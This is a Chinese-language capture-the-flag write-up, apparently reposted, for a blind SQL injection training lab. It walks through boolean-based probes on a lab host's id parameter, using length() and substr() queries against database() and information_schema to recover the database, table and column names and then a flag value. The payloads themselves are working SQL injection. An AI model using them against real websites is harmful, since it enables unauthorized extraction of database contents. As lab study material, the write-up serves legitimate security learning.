掌控安全sql注入靶場pass-05


1.判斷注入點

1 and 1=1

 

 1 and 1=2

 

 考慮存在布爾盲注

布爾盲注解釋

當不能像前面那樣直接在網頁中顯示我們要的數據時就需要用到盲注,來得到數據庫之類的名字。基於布爾的盲注就是通過判斷語句來猜解,如果判斷條件正確則頁面顯示正常,否則報錯,這樣一輪一輪猜下去直到猜對。是挺麻煩但是相對簡單的盲注方式。
2.判斷當前數據庫長度與名稱
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length(database())>=3
通過判斷出數據庫長度后使用burpsuite的爆破功能可以獲得數據庫名稱
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr(database(),1,1)>='a'

 

kanwolongxia

 3.同理查詢表長與名稱

第一個表

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length((select table_name from information_schema.tables where table_schema='kanwolongxia'limit 0,1))=6

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr((select table_name from information_schema.tables where table_schema='kanwolongxia'limit 0,1),1,1)='a'

 

為loflag

第二個表

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length((select table_name from information_schema.tables where table_schema='kanwolongxia'limit 1,1))=3

injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr((select table_name from information_schema.tables where table_schema='kanwolongxia'limit 1,1),1,1)='a'

為new

第三個表同理

為user

無第四個表

 4.列長與列段名

可直接查第一個表

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length((select column_name from information_schema.columns where table_name='loflag' limit 0,1))>=2

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='a'

為id

同理查第二表

為flaglo

5.查詢字段即flag值

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length((select flaglo from loflag limit 0,1))>=8

injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr((select flaglo from loflag limit 0,1),1,1)='a'

這里就展示出了ascii碼的作用,前面使用substr都可以,但是如果為q與Q,或者是-都無法使用substr識別,因而要添加ascii

后flag值為zKaQ-QQQ

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM